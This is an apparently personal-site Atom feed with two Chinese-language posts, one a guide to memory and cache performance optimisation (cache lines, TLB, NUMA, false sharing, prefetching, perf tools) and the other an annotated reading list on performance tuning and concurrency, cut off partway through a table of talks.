<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://hongyi.lu/feed.xml" rel="self" type="application/atom+xml" /><link href="https://hongyi.lu/" rel="alternate" type="text/html" /><updated>2026-04-25T05:30:04+00:00</updated><id>https://hongyi.lu/feed.xml</id><title type="html">Hongyi LU’s Homepage</title><subtitle></subtitle><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><entry><title type="html">程序员必备的内存优化指南</title><link href="https://hongyi.lu/mem-perf/" rel="alternate" type="text/html" title="程序员必备的内存优化指南" /><published>2026-04-25T00:00:00+00:00</published><updated>2026-04-25T00:00:00+00:00</updated><id>https://hongyi.lu/mem-perf</id><content type="html" xml:base="https://hongyi.lu/mem-perf/"><![CDATA[<hr />

<h2 id="一硬件基础访问延迟数值">一、硬件基础：访问延迟数值</h2>

<p><strong>因为</strong> CPU 与主存之间存在 50–100 倍的延迟差距 →
<strong>所以</strong> 性能优化的第一要务是最大化 Cache 命中率，一切数据结构和算法设计都应围绕此展开。</p>

<p>DRAM 的另一特性：<strong>顺序突发传输（Burst Mode）</strong> 远比随机访问高效，这也是 Cache Line 设计为 64 字节的根本原因。</p>

<hr />

<h2 id="二cache-结构与行为">二、Cache 结构与行为</h2>

<h3 id="cache-line-是原子单元">Cache Line 是原子单元</h3>

<p><strong>因为</strong> Cache 以 <strong>64 字节 Cache Line</strong> 为最小操作单位，读 1 字节也会加载整行 →
<strong>所以</strong> 将频繁同时访问的数据紧凑排列在相邻内存中；链表节点随机散布导致每步必然 Cache Miss，而数组遍历可以充分复用每条 Cache Line。</p>

<h3 id="set-冲突conflict-miss">Set 冲突（Conflict Miss）</h3>

<p>Cache 地址按 <code class="language-plaintext highlighter-rouge">[ Tag | Set Index | Offset ]</code> 三段拆分，<strong>Set Index 相同的地址竞争同一组 Cache Set</strong>。</p>

<p><strong>因为</strong> 步长恰好等于 Cache 大小整数倍（如每隔 4096 字节访问），所有元素落入同一 Set →
<strong>所以</strong> 即使 Cache 未满也会大量 Miss（Conflict Miss）。避免方法：对大步长数组添加少量 Padding 错开地址，或调整数据布局。</p>

<h3 id="write-back-与-non-temporal-写">Write-Back 与 Non-Temporal 写</h3>

<ul>
  <li>现代处理器默认 <strong>Write-Back</strong>：Cache Line 修改后标记 Dirty，仅在逐出时写回主存，大幅节省带宽。</li>
  <li><strong>因为</strong> 对只写一次、不再读取的大块数据（视频帧、大矩阵），装入 Cache 后再写出纯属浪费 →
<strong>所以</strong> 使用 Non-Temporal Store（<code class="language-plaintext highlighter-rouge">_mm_stream_si128</code>）绕过 Cache 直接写主存，并触发 Write-Combining（同一 Cache Line 的多次写合并成一次传输）。使用后须调用 <code class="language-plaintext highlighter-rouge">_mm_sfence()</code>。</li>
</ul>

<h3 id="mesi-协议与多核写代价">MESI 协议与多核写代价</h3>

<p>多核通过 MESI 协议维护 Cache 一致性（Modified / Exclusive / Shared / Invalid）。</p>

<p><strong>因为</strong> 一个核写 Shared 状态的 Cache Line 时，必须先广播 <strong>RFO（Request For Ownership）</strong> 消息，等所有其他核确认失效 →
<strong>所以</strong> 多核写同一 Cache Line 代价极高；多线程程序中 RFO 消息是主要性能瓶颈之一。</p>

<blockquote>
  <p><strong>现代补充</strong>：在 Intel Mesh 或 AMD 多 CCD 架构中，跨 CCD 的 RFO 需经过片上网络路由，代价更高。</p>
</blockquote>

<h3 id="critical-word关键字优先">Critical Word（关键字优先）</h3>

<p><strong>因为</strong> Cache Line 从主存加载时按 64-bit 块逐步传输，若所需字段在末尾，程序需等待全部传输完毕 →
<strong>所以</strong> 将结构体中<strong>最先被访问的字段</strong>放在开头，使其成为 Cache Line 的第一个字，最早可用。</p>

<hr />

<h2 id="三tlb-与虚拟内存">三、TLB 与虚拟内存</h2>

<h3 id="tlb-基础">TLB 基础</h3>

<p>每次内存访问都需将虚拟地址翻译为物理地址（4 级页表需最多 4 次内存访问）。TLB 缓存翻译结果，但容量极小：</p>

<p><strong>因为</strong> 工作集跨越的虚拟页越多，TLB 越快溢出，Miss 惩罚和 Cache Miss 量级相当 →
<strong>所以</strong> 减少页面数量与减少 Cache Miss 同等重要：<strong>紧凑排布数据，使用 Huge Page</strong>。</p>

<h3 id="huge-page大页">Huge Page（大页）</h3>

<p><strong>因为</strong> 2MB 大页让每个 TLB 条目覆盖 512 倍内存（vs 4KB 普通页） →
<strong>所以</strong> 对大内存工作集（数据库、科学计算），使用大页可显著降低 TLB Miss：</p>

<h3 id="不要将同一物理地址映射到多个虚拟地址">不要将同一物理地址映射到多个虚拟地址</h3>

<p><strong>因为</strong> L1d/L1i 使用<strong>虚拟地址</strong>标记（VIPT/VIVT），同一物理页有多个 VA 别名时，Cache 会持有多份副本，写其中一个不会自动使另一个失效 →
<strong>所以</strong> 同一进程内避免用 <code class="language-plaintext highlighter-rouge">mmap</code>/<code class="language-plaintext highlighter-rouge">shmat</code> 将同一物理页映射到两个以上虚拟地址；若无法避免，确保两个 VA 的<strong>页内偏移相同</strong>。</p>

<h3 id="tlb-与上下文切换">TLB 与上下文切换</h3>

<p><strong>因为</strong> TLB 是核级全局资源，进程切换（不同页表树）须刷新 TLB →
<strong>所以</strong> 同进程的多线程切换不刷 TLB（好）；频繁进程切换代价高。现代 CPU 的 <strong>PCID 机制</strong>为每个地址空间打标，避免全量刷新，大幅降低进程切换代价。</p>

<h3 id="虚拟化下的额外代价">虚拟化下的额外代价</h3>

<p><strong>因为</strong> 传统虚拟化（Shadow Page Table）每次 Guest 修改页表须陷入 VMM，TLB Miss 代价翻倍 →
<strong>所以</strong> 虚拟化环境中所有 Cache/TLB 优化的收益成倍放大。Intel EPT / AMD NPT 已大幅缓解此问题，但开销仍高于裸机。</p>

<hr />

<h2 id="四numa-架构">四、NUMA 架构</h2>

<p><strong>因为</strong> 线程使用的内存若不在其运行 CPU 的 NUMA 节点上，每次访问都要经过处理器间互联（UPI / Infinity Fabric）→
<strong>所以</strong> 核心原则：<strong>数据靠近计算，线程绑定 CPU</strong>。</p>

<hr />

<h2 id="五数据访问优化">五、数据访问优化</h2>

<h3 id="51-矩阵乘法顺序访问--cache-分块">5.1 矩阵乘法：顺序访问 + Cache 分块</h3>

<p>朴素矩阵乘法对第二个矩阵按列访问，产生大量 Cache Miss。优化路径：转置（两矩阵均顺序）+ 分块版（SM×SM 子矩阵始终在 L1d）+SIMD</p>

<p><strong>因为</strong> 子矩阵分块确保每次计算所需数据始终在 L1d/L2 内 →
<strong>所以</strong> 对任何二维数据的嵌套循环，均可应用此”Tiling”思路。分块大小应通过 <code class="language-plaintext highlighter-rouge">sysconf(_SC_LEVEL1_DCACHE_LINESIZE)</code> 动态获取，而非硬编码。</p>

<h3 id="52-结构体布局">5.2 结构体布局</h3>

<p><strong>消除 Padding 空洞</strong>：
<strong>因为</strong> 字段对齐插入的 Padding 浪费 Cache Line 空间 →
<strong>所以</strong> 重排字段，将小字段填入大字段后的空洞。用 <code class="language-plaintext highlighter-rouge">pahole -C MyStruct ./binary</code> 检查布局，极端情况可将结构体从 2 个 Cache Line 压缩到 1 个。</p>

<p><strong>热冷字段分离</strong>：
<strong>因为</strong> 访问热字段时会把冷字段（如大型字符串、日志信息）也加载入 Cache →
<strong>所以</strong> 将频繁访问的热字段提取到独立的小结构体，冷字段单独存放。</p>

<h3 id="53-对齐">5.3 对齐</h3>

<p><strong>因为</strong> 未对齐访问可能横跨两个 Cache Line，需两次加载；SIMD 指令要求严格对齐 →
<strong>所以</strong> 使用 <code class="language-plaintext highlighter-rouge">posix_memalign</code> / <code class="language-plaintext highlighter-rouge">aligned_alloc</code> / <code class="language-plaintext highlighter-rouge">__attribute__((aligned(64)))</code> 保证 Cache Line 对齐。</p>

<h3 id="54-non-temporal-写大数据流">5.4 Non-Temporal 写（大数据流）</h3>

<p><strong>因为</strong> 流式写入（初始化大缓冲区、视频帧复制）的数据写后不再读，污染 Cache 无意义 →
<strong>所以</strong> 用 <code class="language-plaintext highlighter-rouge">_mm_stream_si128</code> 等 Non-Temporal Store，绕过 Cache 直接写主存，并触发 Write-Combining。使用后须调用 <code class="language-plaintext highlighter-rouge">_mm_sfence()</code>。</p>

<hr />

<h2 id="六指令-cache-优化">六、指令 Cache 优化</h2>

<p><strong>因为</strong> 过度内联 / 循环展开增大代码体积，L1i 压力上升，还会逐出其他热点函数 →
<strong>所以</strong>：</p>
<ul>
  <li>多处调用的大函数用 <code class="language-plaintext highlighter-rouge">__attribute__((noinline))</code> 禁止内联，节省 L1i 空间</li>
  <li>用 <code class="language-plaintext highlighter-rouge">likely()</code> / <code class="language-plaintext highlighter-rouge">unlikely()</code> + <code class="language-plaintext highlighter-rouge">-freorder-blocks</code> 将冷路径移出主执行路径，保持热路径线性</li>
  <li><code class="language-plaintext highlighter-rouge">-Os</code> 优化代码体积；<code class="language-plaintext highlighter-rouge">-falign-functions=64</code> 对齐函数入口</li>
</ul>

<p><strong>PGO</strong>：用 <code class="language-plaintext highlighter-rouge">-fprofile-generate</code> 插桩 → 代表性负载运行 → <code class="language-plaintext highlighter-rouge">-fprofile-use</code> 重编译，让编译器基于真实数据优化代码布局和内联决策。</p>

<hr />

<h2 id="七预取">七、预取</h2>

<p><strong>因为</strong> 硬件预取器只能识别顺序 / 等步长访问，且<strong>不能跨越虚拟页边界</strong> →
<strong>所以</strong> 链表 / 树遍历、大步长随机访问、每个新页的首次访问均需软件预取：</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_mm_prefetch</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">_MM_HINT_T0</span><span class="p">);</span>   <span class="c1">// 预取到 L1d（马上用）</span>
<span class="n">_mm_prefetch</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">_MM_HINT_T1</span><span class="p">);</span>   <span class="c1">// 预取到 L2（稍后用）</span>
<span class="n">_mm_prefetch</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">_MM_HINT_NTA</span><span class="p">);</span>  <span class="c1">// 非时序（只用一次，不污染 Cache）</span>
</code></pre></div></div>

<p><strong>预取距离</strong> = ⌈主存延迟 / 每元素处理时间⌉。例：每节点处理 160 cycles、主存延迟 200 cycles → 提前预取 <strong>5 个节点</strong>较为安全。</p>

<p><strong>因为</strong> 软件预取逻辑与计算逻辑混写增加复杂度 →
<strong>所以</strong> 可将超线程（SMT）的一个逻辑核专用作<strong>预取辅助线程</strong>，提前填充 L2/L3，主线程直接命中。</p>

<hr />

<h2 id="八多线程优化">八、多线程优化</h2>

<h3 id="81-false-sharing伪共享-最常见的多线程性能杀手">8.1 False Sharing（伪共享）—— 最常见的多线程性能杀手</h3>

<p><strong>因为</strong> MESI 协议以 <strong>Cache Line（64B）</strong> 为粒度操作，不同线程写同一 Cache Line 上的<strong>不同变量</strong>，同样触发 RFO →
<strong>所以</strong> 被不同线程写入的变量，必须独占独立的 Cache Line：</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 4 个计数器共享 1 条 Cache Line → 4 线程比单线程慢 11 倍</span>
<span class="kt">long</span> <span class="n">counters</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>

<span class="c1">// ✅ 每个计数器独占 1 条 Cache Line（加 Padding 填满 64 字节）</span>
<span class="k">struct</span> <span class="n">alignas</span><span class="p">(</span><span class="mi">64</span><span class="p">)</span> <span class="n">PaddedCounter</span> <span class="p">{</span> <span class="kt">long</span> <span class="n">value</span><span class="p">;</span> <span class="kt">char</span> <span class="n">pad</span><span class="p">[</span><span class="mi">56</span><span class="p">];</span> <span class="p">};</span>
<span class="n">PaddedCounter</span> <span class="n">counters</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
</code></pre></div></div>

<h3 id="82-变量按读写特性分组">8.2 变量按读写特性分组</h3>

<table>
  <thead>
    <tr>
      <th>类型</th>
      <th>处理方式</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>只读 / 常量</td>
      <td><code class="language-plaintext highlighter-rouge">const</code> → 放入 <code class="language-plaintext highlighter-rouge">.rodata</code>，所有核安全共享（Cache S 状态）</td>
    </tr>
    <tr>
      <td>多线程写入</td>
      <td><code class="language-plaintext highlighter-rouge">alignas(64)</code> + Padding，独占 Cache Line</td>
    </tr>
    <tr>
      <td>线程私有</td>
      <td><code class="language-plaintext highlighter-rouge">__thread</code> / <code class="language-plaintext highlighter-rouge">thread_local</code>（TLS），彻底消除共享</td>
    </tr>
  </tbody>
</table>

<h3 id="83-原子操作选最小代价的原语">8.3 原子操作：选最小代价的原语</h3>

<p><strong>因为</strong> CAS 循环失败时反复产生 RFO；原生原子加法只需 1 次 RFO →
<strong>所以</strong> 用 <code class="language-plaintext highlighter-rouge">std::atomic&lt;T&gt;::fetch_add</code> / <code class="language-plaintext highlighter-rouge">__sync_add_and_fetch</code> 而非手写 CAS 循环。。</p>

<h3 id="84-线程调度策略">8.4 线程调度策略</h3>

<ul>
  <li><strong>协作线程（共享数据集）</strong> → 绑定到<strong>同一处理器</strong>的不同核（共享 LLC，数据只需从主存加载一次）</li>
  <li><strong>独立线程（各自数据集）</strong> → 绑定到<strong>不同处理器</strong>（各自独享内存带宽，避免相互逐出 Cache 数据）</li>
</ul>

<hr />

<h2 id="九page-fault-优化">九、Page Fault 优化</h2>

<p><strong>因为</strong> <code class="language-plaintext highlighter-rouge">mmap</code> 只建立虚拟地址映射，物理页在首次访问时才分配（Page Fault），内核介入代价高（数千 cycles）→
<strong>所以</strong>：使用 <code class="language-plaintext highlighter-rouge">posix_madvise</code> 提示内核预加载。</p>

<p><strong>因为</strong> 程序启动时，相邻调用的函数若分布在不同页上，每次都触发 Page Fault →
<strong>所以</strong> 用 PGO 或链接器脚本将热点调用链的函数排布在相邻页上；实测可减少启动时间 <strong>5%</strong>，TLB 效率也同步提升。</p>

<hr />

<h2 id="十工具速查">十、工具速查</h2>

<table>
  <thead>
    <tr>
      <th>工具</th>
      <th>用途</th>
      <th>关键命令</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">perf stat</code></td>
      <td>Cache / TLB Miss 统计</td>
      <td><code class="language-plaintext highlighter-rouge">perf stat -e L1-dcache-load-misses,LLC-load-misses,dTLB-load-misses ./prog</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">perf c2c</code></td>
      <td>False Sharing 检测</td>
      <td><code class="language-plaintext highlighter-rouge">perf c2c record ./prog &amp;&amp; perf c2c report</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">perf record</code></td>
      <td>热点定位</td>
      <td><code class="language-plaintext highlighter-rouge">perf record -e LLC-load-misses ./prog &amp;&amp; perf report</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cachegrind</code></td>
      <td>Cache Miss 模拟（逐行）</td>
      <td><code class="language-plaintext highlighter-rouge">valgrind --tool=cachegrind ./prog</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">massif</code></td>
      <td>堆分配分析</td>
      <td><code class="language-plaintext highlighter-rouge">valgrind --tool=massif ./prog</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">pahole</code></td>
      <td>结构体 Padding 分析</td>
      <td><code class="language-plaintext highlighter-rouge">pahole -C MyStruct ./binary</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">numastat</code></td>
      <td>NUMA 本地 / 远端访问比</td>
      <td><code class="language-plaintext highlighter-rouge">numastat -p PID</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/usr/bin/time -v</code></td>
      <td>Page Fault 计数</td>
      <td>输出末尾 <code class="language-plaintext highlighter-rouge">Major/Minor page faults</code></td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="十一速查总结">十一、速查总结</h2>

<h3 id="核心建议">核心建议</h3>

<table>
  <thead>
    <tr>
      <th>问题</th>
      <th>根因</th>
      <th>解法</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>L1/L2 Cache Miss 多</td>
      <td>随机访问，数据分散</td>
      <td>顺序访问；结构体热冷分离；Cache 分块（Tiling）</td>
    </tr>
    <tr>
      <td>Conflict Miss</td>
      <td>步长 = Cache 大小整数倍</td>
      <td>避免 2 的幂次步长；加 Padding 错开 Set</td>
    </tr>
    <tr>
      <td>TLB Miss 多</td>
      <td>工作集跨页太多</td>
      <td>Huge Page；数据 Footprint 紧凑</td>
    </tr>
    <tr>
      <td>False Sharing</td>
      <td>MESI 以 Cache Line 为粒度</td>
      <td>热写变量独占 Cache Line + Padding</td>
    </tr>
    <tr>
      <td>同 PA 多 VA 别名</td>
      <td>L1 虚拟地址标记，副本不一致</td>
      <td>同进程内避免多次 mmap 同一物理页</td>
    </tr>
    <tr>
      <td>流式写污染 Cache</td>
      <td>写后不读但占用 Cache Line</td>
      <td>Non-Temporal Store（<code class="language-plaintext highlighter-rouge">_mm_stream_*</code>）</td>
    </tr>
    <tr>
      <td>指令 Cache 压力</td>
      <td>内联 / 展开导致代码膨胀</td>
      <td><code class="language-plaintext highlighter-rouge">-Os</code>；<code class="language-plaintext highlighter-rouge">likely/unlikely</code>；PGO</td>
    </tr>
    <tr>
      <td>原子操作慢</td>
      <td>CAS 循环失败多次 RFO</td>
      <td>改用原生原子算术指令</td>
    </tr>
    <tr>
      <td>NUMA 远端延迟</td>
      <td>内存不在本地节点</td>
      <td><code class="language-plaintext highlighter-rouge">mbind</code> + <code class="language-plaintext highlighter-rouge">pthread_setaffinity_np</code></td>
    </tr>
    <tr>
      <td>启动 Page Fault 多</td>
      <td>冷页懒分配 + 函数布局分散</td>
      <td><code class="language-plaintext highlighter-rouge">MAP_POPULATE</code>；函数重排（PGO）；Huge Page</td>
    </tr>
  </tbody>
</table>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">性能分析方法的书</title><link href="https://hongyi.lu/perfbook/" rel="alternate" type="text/html" title="性能分析方法的书" /><published>2026-04-25T00:00:00+00:00</published><updated>2026-04-25T00:00:00+00:00</updated><id>https://hongyi.lu/perfbook</id><content type="html" xml:base="https://hongyi.lu/perfbook/"><![CDATA[<blockquote>
  <p>以下均为领域内公认的经典资料，非原创整理。</p>
</blockquote>

<hr />

<h2 id="微架构--底层调优--必读资料">微架构 &amp; 底层调优 — 必读资料</h2>

<h3 id="-what-every-programmer-should-know-about-memory">📄 What Every Programmer Should Know About Memory</h3>

<ul>
  <li><strong>作者：</strong> Ulrich Drepper, 2007 · 114 页</li>
  <li><strong>类型：</strong> 免费 PDF</li>
  <li><strong>链接：</strong> <a href="https://people.freebsd.org/~lstewart/articles/cpumemory.pdf">https://people.freebsd.org/~lstewart/articles/cpumemory.pdf</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">Cache</code> <code class="language-plaintext highlighter-rouge">TLB</code> <code class="language-plaintext highlighter-rouge">Prefetch</code> <code class="language-plaintext highlighter-rouge">NUMA</code></li>
  <li><strong>简评：</strong> 内存子系统最权威的入门文章。从 DRAM 物理原理讲到 cache 层级、TLB、预取器、NUMA，每个 section 都有可复现的 benchmark 代码。<strong>必读。</strong></li>
  <li><strong>阅读建议：</strong> 重点精读 §3（CPU Cache）和 §4（Virtual Memory），§2 DRAM 原理可快速扫读。</li>
</ul>

<h3 id="-agner-fog-optimization-manuals5-卷">📄 Agner Fog Optimization Manuals（5 卷）</h3>

<ul>
  <li><strong>作者：</strong> Agner Fog · 持续更新至 2025</li>
  <li><strong>类型：</strong> 免费 PDF</li>
  <li><strong>链接：</strong> <a href="https://www.agner.org/optimize/">https://www.agner.org/optimize/</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">Branch Prediction</code> <code class="language-plaintext highlighter-rouge">Pipeline</code> <code class="language-plaintext highlighter-rouge">SIMD</code> <code class="language-plaintext highlighter-rouge">Instruction Latency</code></li>
  <li><strong>简评：</strong> x86 优化的圣经。Vol.1 C++ 优化；Vol.3 Intel/AMD 微架构详解（流水线、分支预测、乱序执行）；Vol.4 指令延迟/吞吐量表格。</li>
  <li><strong>阅读建议：</strong> Vol.3 microarchitecture.pdf 是理解 BTB、分支预测器的权威来源，结合 Godbolt 验证汇编食用。</li>
</ul>

<h3 id="-computer-systems-a-programmers-perspective-csapp">📚 Computer Systems: A Programmer’s Perspective (CS:APP)</h3>

<ul>
  <li><strong>作者：</strong> Bryant &amp; O’Hallaron · 第 3 版</li>
  <li><strong>类型：</strong> 书</li>
  <li><strong>链接：</strong> <a href="http://csapp.cs.cmu.edu/3e/labs.html（配套实验）">http://csapp.cs.cmu.edu/3e/labs.html（配套实验）</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">Cache</code> <code class="language-plaintext highlighter-rouge">Loop Optimization</code> <code class="language-plaintext highlighter-rouge">ILP</code></li>
  <li><strong>简评：</strong> 第 5 章”优化程序性能”和第 6 章”存储层次结构”是最佳系统性入门。配套 datalab/cachelab 可直接上手实验。</li>
</ul>

<h3 id="-performance-analysis-and-tuning-on-modern-cpus">📚 Performance Analysis and Tuning on Modern CPUs</h3>

<ul>
  <li><strong>作者：</strong> Denis Bakhvalov · 2023</li>
  <li><strong>类型：</strong> 书（部分免费）</li>
  <li><strong>链接：</strong> <a href="https://book.easyperf.net/perf_book">https://book.easyperf.net/perf_book</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">Top-Down</code> <code class="language-plaintext highlighter-rouge">PMU</code> <code class="language-plaintext highlighter-rouge">perf</code> <code class="language-plaintext highlighter-rouge">VTune</code></li>
  <li><strong>简评：</strong> 最新的现代调优书。涵盖 Top-Down 性能分析方法论、PMU 计数器实战、perf/VTune 使用，以及 Cache Miss、Branch Mispredict 的系统性修复流程。<strong>强烈推荐。</strong></li>
</ul>

<h3 id="-systems-performance2nd-ed">📚 Systems Performance（2nd ed）</h3>

<ul>
  <li><strong>作者：</strong> Brendan Gregg · 2020</li>
  <li><strong>类型：</strong> 书</li>
  <li><strong>链接：</strong> <a href="https://www.brendangregg.com/systems-performance-2nd-edition-book.html">https://www.brendangregg.com/systems-performance-2nd-edition-book.html</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">perf</code> <code class="language-plaintext highlighter-rouge">BPF</code> <code class="language-plaintext highlighter-rouge">Flamegraph</code> <code class="language-plaintext highlighter-rouge">Linux</code></li>
  <li><strong>简评：</strong> Linux 系统性能分析的权威书。CPU 调度、内存、磁盘、网络全覆盖。perf、BPF、Flamegraph 工具链的最佳实战指南。</li>
</ul>

<h3 id="-cpuland">🌐 CPU.Land</h3>

<ul>
  <li><strong>作者：</strong> Lexi Mattick &amp; Hack Club · 2023</li>
  <li><strong>类型：</strong> 免费网站</li>
  <li><strong>链接：</strong> <a href="https://cpu.land">https://cpu.land</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">Pipeline</code> <code class="language-plaintext highlighter-rouge">Cache</code> <code class="language-plaintext highlighter-rouge">Syscall</code></li>
  <li><strong>简评：</strong> 图文并茂的 CPU 工作原理交互式教程，从机器码到流水线、缓存、系统调用，可视化极佳，适合建立整体认知。</li>
</ul>

<hr />

<h2 id="并发关键区--无锁数据结构--必读资料">并发、关键区 &amp; 无锁数据结构 — 必读资料</h2>

<h3 id="-c-concurrency-in-action2nd-ed">📚 C++ Concurrency in Action（2nd ed）</h3>

<ul>
  <li><strong>作者：</strong> Anthony Williams · Manning, 2019</li>
  <li><strong>类型：</strong> 书</li>
  <li><strong>链接：</strong> <a href="https://www.manning.com/books/c-plus-plus-concurrency-in-action-second-edition">https://www.manning.com/books/c-plus-plus-concurrency-in-action-second-edition</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">Memory Model</code> <code class="language-plaintext highlighter-rouge">atomic</code> <code class="language-plaintext highlighter-rouge">Lock-Free</code> <code class="language-plaintext highlighter-rouge">ABA</code></li>
  <li><strong>简评：</strong> C++ 并发最权威的书。Ch.5 内存模型与 atomic；Ch.6 有锁数据结构；Ch.7 无锁数据结构（lock-free stack/queue）；Ch.8 并发代码设计与性能。代码全部可编译运行。<strong>无锁必读。</strong></li>
</ul>

<h3 id="-the-art-of-multiprocessor-programming2nd-ed">📚 The Art of Multiprocessor Programming（2nd ed）</h3>

<ul>
  <li><strong>作者：</strong> Herlihy, Shavit, Luchangco, Spear · 2020</li>
  <li><strong>类型：</strong> 书</li>
  <li><strong>链接：</strong> <a href="https://www.elsevier.com/books/the-art-of-multiprocessor-programming/herlihy/978-0-12-415950-1">https://www.elsevier.com/books/the-art-of-multiprocessor-programming/herlihy/978-0-12-415950-1</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">Linearizability</code> <code class="language-plaintext highlighter-rouge">Spinlock</code> <code class="language-plaintext highlighter-rouge">Lock-Free</code> <code class="language-plaintext highlighter-rouge">Wait-Free</code></li>
  <li><strong>简评：</strong> 并发理论圣经。线性化、互斥证明、Spinlock 家族、无锁栈/队列/哈希表、Hazard Pointer、RCU 全覆盖。代码用 Java 但原理完全通用。</li>
</ul>

<h3 id="-is-parallel-programming-hard-and-if-so-what-can-you-do-about-it">📄 Is Parallel Programming Hard, And If So, What Can You Do About It?</h3>

<ul>
  <li><strong>作者：</strong> Paul E. McKenney · 持续更新</li>
  <li><strong>类型：</strong> 免费 PDF</li>
  <li><strong>链接：</strong> <a href="https://mirrors.edge.kernel.org/pub/linux/kernel/people/paulmck/perfbook/perfbook.html">https://mirrors.edge.kernel.org/pub/linux/kernel/people/paulmck/perfbook/perfbook.html</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">RCU</code> <code class="language-plaintext highlighter-rouge">Memory Barrier</code> <code class="language-plaintext highlighter-rouge">Linux Kernel</code></li>
  <li><strong>简评：</strong> RCU (Read-Copy-Update) 的权威参考书，Linux 内核并发模型深度讲解。内存屏障、无锁原语、性能 vs 正确性的工程权衡。</li>
</ul>

<h3 id="-1024coresnet--dmitry-vyukovs-blog">🌐 1024cores.net — Dmitry Vyukov’s Blog</h3>

<ul>
  <li><strong>作者：</strong> Dmitry Vyukov（Google, ThreadSanitizer 作者）</li>
  <li><strong>类型：</strong> 免费网站</li>
  <li><strong>链接：</strong> <a href="https://www.1024cores.net">https://www.1024cores.net</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">MPMC Queue</code> <code class="language-plaintext highlighter-rouge">Hazard Pointer</code> <code class="language-plaintext highlighter-rouge">SPSC</code></li>
  <li><strong>简评：</strong> 无锁编程实战圣地。SPSC/MPMC Queue、Bounded/Unbounded 实现、内存序实践、Memory Reclamation 方案的代码+分析。<strong>直接有可复现代码。</strong></li>
</ul>

<h3 id="-x86-tso-a-rigorous-and-usable-programmers-model">📄 x86-TSO: A Rigorous and Usable Programmer’s Model</h3>

<ul>
  <li><strong>作者：</strong> Sewell et al. · CACM 2010</li>
  <li><strong>类型：</strong> 免费论文</li>
  <li><strong>链接：</strong> <a href="https://www.cl.cam.ac.uk/~pes20/weakmemory/cacm.pdf">https://www.cl.cam.ac.uk/~pes20/weakmemory/cacm.pdf</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">Memory Model</code> <code class="language-plaintext highlighter-rouge">TSO</code> <code class="language-plaintext highlighter-rouge">acquire/release</code></li>
  <li><strong>简评：</strong> 想真正搞清楚 x86 内存序（为什么 acquire/release 足够，seq_cst 何时必要），这篇论文是最严谨的形式化描述。</li>
</ul>

<h3 id="-simple-fast-and-practical-non-blocking-and-blocking-concurrent-queue-algorithms">📄 Simple, Fast, and Practical Non-Blocking and Blocking Concurrent Queue Algorithms</h3>

<ul>
  <li><strong>作者：</strong> Michael &amp; Scott · PODC 1996</li>
  <li><strong>类型：</strong> 论文</li>
  <li><strong>链接：</strong> <a href="https://www.cs.rochester.edu/~scott/papers/1996_PODC_queues.pdf">https://www.cs.rochester.edu/~scott/papers/1996_PODC_queues.pdf</a></li>
  <li><strong>标签：</strong> <code class="language-plaintext highlighter-rouge">MS Queue</code> <code class="language-plaintext highlighter-rouge">CAS</code> <code class="language-plaintext highlighter-rouge">ABA Problem</code></li>
  <li><strong>简评：</strong> Michael-Scott Queue 原始论文，工业界最广泛使用的无锁队列（Java ConcurrentLinkedQueue 即此实现）。CAS + 哑节点的经典设计。</li>
</ul>

<hr />

<h2 id="视频讲座--最值得看的演讲">视频讲座 — 最值得看的演讲</h2>

<table>
  <thead>
    <tr>
      <th>标题</th>
      <th>作者</th>
      <th>链接</th>
      <th>要点</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>atomic&lt;&gt; Weapons (1 &amp; 2)</td>
      <td>Herb Sutter · C++ and Beyond 2012</td>
      <td><a href="https://herbsutter.com/2013/02/11/atomic-weapons-the-c-memory-model-and-modern-hardware/">YouTube</a></td>
      <td>C++ 内存模型最好的讲解，happens-before 关系</td>
    </tr>
    <tr>
      <td>Live Lock-Free or Deadlock (1 &amp; 2)</td>
      <td>Fedor Pikus · CppCon 2015</td>
      <td><a href="https://www.youtube.com/watch?v=lVBvHbJsg5Y">YouTube</a></td>
      <td>无锁编程实战，ABA 问题与解决方案 ⭐</td>
    </tr>
    <tr>
      <td>CPU Caches and Why You Care</td>
      <td>Scott Meyers · code::dive 2014</td>
      <td><a href="https://www.youtube.com/watch?v=WDIkqP4JbkE">YouTube</a></td>
      <td>Cache line、false sharing、预取，直观易懂</td>
    </tr>
    <tr>
      <td>C++ atomics, from basic to advanced</td>
